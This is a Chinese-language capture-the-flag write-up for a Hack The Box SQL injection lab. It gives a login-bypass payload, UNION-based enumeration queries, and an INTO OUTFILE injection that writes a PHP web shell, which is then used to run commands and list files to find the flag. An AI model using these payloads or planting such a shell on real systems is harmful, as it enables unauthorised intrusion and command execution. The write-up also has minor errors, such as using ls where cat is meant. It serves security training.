HTB:SQL Injection Fundamentals 详解

SQL Injection Fundamentals

题目:SQL 注入基础

图例

图例

解题思路

  1. “remote code execution”(RCE)——远程代码/命令执行:属于服务端漏洞,由于开发人员在开发相关命令调用功能时,没有对用户输入的数据进行过滤和验证操作,导致攻击者输入的恶意代码字符被带入后端服务器执行,从而产生危害应用服务器的后果。

  2. 进入目标页面:

    图例

  3. 因为该漏洞的产生,就是基于攻击者的输入,由于后端服务端在实现某些服务时需要将用户输入的信息作为参数调用函数/方法,如果服务端没有对输入进行验证/过滤等安全操作,攻击者就可以基于服务端代码的语法注入恶意代码,服务端执行该段代码,最终实现攻击目的。

    因此,根据题目要求,我们需要获取文件系统中的 /root(根目录)下的 flag ,在目标页面的 Username 和 Password 注入能够让服务端执行的且能获取对应目录下 flag 内容的代码即可完成注入攻击。

    核心思路:将用户输入的数据拼接到代码中,并且被当成 sql 语句执行。

  4. 因为一般登录框与 MySQL 数据库进行交互的 sql 语句为

    1
    select name.passwd from users where username=‘name’ and password=‘pwd’;

    所以尝试在用户名框中注入 'or 1=1#,密码框中输入任意简单字符,以避免空字符错误,这样原有的 sql 语句就改为

    1
    select name.passwd from users where username=‘or 1=1#’ and password=‘pwd’;

    # 后面的内容就会变成注释,即密码部分失效,因为 1=1 为真,所以整个条件语句为真,成功绕过了登录页面:

    图例

    只有绕过了登录,获取一个用户身份,才能对数据库进行下一步操作。也可以使用 sqlmap 工具。

  5. 虽然已经绕过了登录页面,但访问到的文件是 /dashboard/dashboard.php ,不是目标文件。之后好像无从下手了,基于 SQL 注入的思路,现在只有对 SEARCH 栏的输入数据进行操作。这是一种搜索类型的 SQL 注入。

    以下是我做的尝试:

    a)首先判断是否存在注入点

    搜索框后端 sql 代码格式一般是这样的:查询 name 字段包含’keyword‘的全部数据。

    select * from users where name like '%keyword%'

    尝试输入11‘,服务端的查询语句就变为

    select * from users where name like '%11'%'

    根据 sql 语法这是错误的。

    返回信息如下:

    图例

    SQL 语句执行存在错误,说明有 80 - 90% 存在 SQL 注入点,那么就可以基于注入点进行代码注入,让服务端执行我们想要的 sql 操作。

    b)查看表单有多少列

    注入11' UNION SELECT 1,2,3,4,5-- -,返回信息如下:

    图例

    构建了一个数组,select 的对象不指向数据库中的表,而是指向这个数组,所以输出信息就是我们注入的数字字符 1-5。根据返回信息,第 1 列被隐藏,该表有 5 列。

    c)查看数据库(DB)类型

    注入11' UNION SELECT 1,@@VERSION,3,4,5-- -,返回信息如下:

    图例

    将数据库的类型输出到第二列,说明该数据库是 MariaDB 类型。

    d)查看当前所处的数据库名称

    注入11' UNION SELECT 1,DATABASE(),3,4,5-- -,返回信息如下:

    图例

    说明当前所看到的内容来自 ilfreight 数据库。

    e)查看当前使用的用户名

    注入11' UNION SELECT 1,USER(),3,4,5-- -,返回信息如下:

    图例

    说明当前用户名为 \root@localhost 。

    f)查看该用户是否为管理员

    注入

    1
    cn' UNION SELECT 1, super_priv, 3, 4, 5 FROM mysql.user WHERE user="root"-- -

    返回信息如下:

    图例

    返回为 Y,说明当前用户是管理员身份。

    g)查看当前用户的权限

    注入

    1
    cn' UNION SELECT 1, grantee, privilege_type, is_grantable, 5 FROM information_schema.user_privileges -- -

    返回信息如下:

    tuli

    可以找到当前用户拥有 CREATE 权限,为后续注入 Web shell 奠定了条件。

  6. 要想获取 flag 文件的内容,需要找到它的具体路径,这样才能使用 cat 或 find 命令查找。

    为了找到文件具体位置,需要写一个 web shell 到服务端,获取其他权限,然后通过访问这个 web shell 来执行 shell 文件中的命令,查找到 flag 文件的位置。

    写一个 web shell 的方法有很多,但是最常用的一种是使用 INTO OUTFILE 语句,这个语句可以将查询的结果写入到一个指定的文件中。利用这个语句,将一些 PHP 代码写入到服务器的 web 目录下,比如 /var/www/html,然后给这个文件一个 .php 的扩展名,这样就创建了一个 web shell。

  7. 但是当尝试将 php shell 写入 /var/www/html 时,因为权限的问题无法写入。

    尝试的方法还是 SQL 注入,注入

    1
    CN' UNION SELECT "",'<?PHP SYSTEM($_REQUEST[0]); ?>', "", "", "" INTO OUTFILE '/VAR/WWW/HTML/SHELL.PHP'-- -

    该语句就是

    图例

    因为在当前目录下没有权限,所以我尝试将 shell 文件写入其他的目录下(/tmp 等),但难以实现服务器读取 shell ,或者使用其他的扩展名(.txt/.jpg 等),只要网页能够将这些文件解析为 php 代码,但是依旧难以实现,所以貌似又行不通。

  8. 那么,应该这样才能让服务端成功执行 Web shell,从而获取目标文件的位置呢?

    答案在页面的 url 中,因为绕过登录以后所在 url 为[http://142.93.39.188:30698/dashboard/dashboard.php] 是通过 Web 直接进行访问的,所以可以猜测 dashboard.php 应该存放在 /var/www/html 下。因此,只要将 Web shell 文件注入到 /var/www/html/dashboard 下,因为在该目录下拥有注入权限,执行注入的 shell.php 文件,从而实现 flag 文件位置信息查找。

    1
    CN' UNION SELECT "",'<?PHP SYSTEM($_REQUEST[0]); ?>', "", "", "" INTO OUTFILE '/VAR/WWW/HTML/DASHBOARD/SHELL.PHP'-- -

    执行以后,服务端将位置信息返回到浏览器:

    注入的 php 代码为 意思是执行用户输入的命令

    图例

    没有报错信息,说明应该成功注入。

  9. 更改 url 参数查看注入情况,通过访问 shell.php 文件,执行文件中注入的 php 代码。下面的 url 就是访问 shell.php 文件,”?”以后的 “0=id” 代表一个命令参数,其中0为变量名,id为显示当前用户ID的命令。当 shell 文件被访问 php 代码执行时,其中的 $_REQUEST[0] 代表获取对象 0 的REQUEST请求,即命令 id。其中,SYSTEM函数的作用就是将命令执行的结果直接输出到屏幕上。

    1
    http://157.245.38.221:30911/dashboard/shell.php?0=id

    图例

    1
    http://157.245.38.221:30911/dashboard/shell.php?0=pwd

    图例

    说明 Web shell 成功注入到 /var/www/html/dashboard 下。

  10. 接下来,只要成功执行 shell.php 文件即可获取位置信息

    因为没有 flag 文件的具体路径,而且标志文件名也不一定是 flag.txt ,所以无法通过使用 cat 命令查看目标文件的内容。因此先将该目录下的所有文件名列举出来,找出受标志的文件即可:

    1
    http://157.245.38.221:30911/dashboard/shell.php?0=ls ../../../../

    图例

    成功找到标志文件 flag_cae1dadcd174.txt。

    如果没有找到这个文件,或者没有权限访问它,就可能需要使用一些其他的方法,比如利用 SQL 注入来读取数据库中的数据,或者利用 SQL 注入来提升你的权限,或者利用 SQL 注入来执行一些更高级的命令,比如反弹一个 shell 到自己的机器上。

  11. 直接使用 cat 命令查看文件内容即可。

    http://<server_ip>/<web_shell>?cmd=cat /root/flag.txt

    1
    http://157.245.38.221:30911/dashboard/shell.php?0=ls ../../../../flag_cae1dadcd174.txt

    图例

    上述的 Web shell 只是一种方式,当然可以注入其他内容,使得执行一次 shell 文件就获取到受标志的文件内容。也可以通过注入多个 shell 文件,每一个文件执行一项命令,同样能够实现对 flag 文件的获取。

实验结果

图例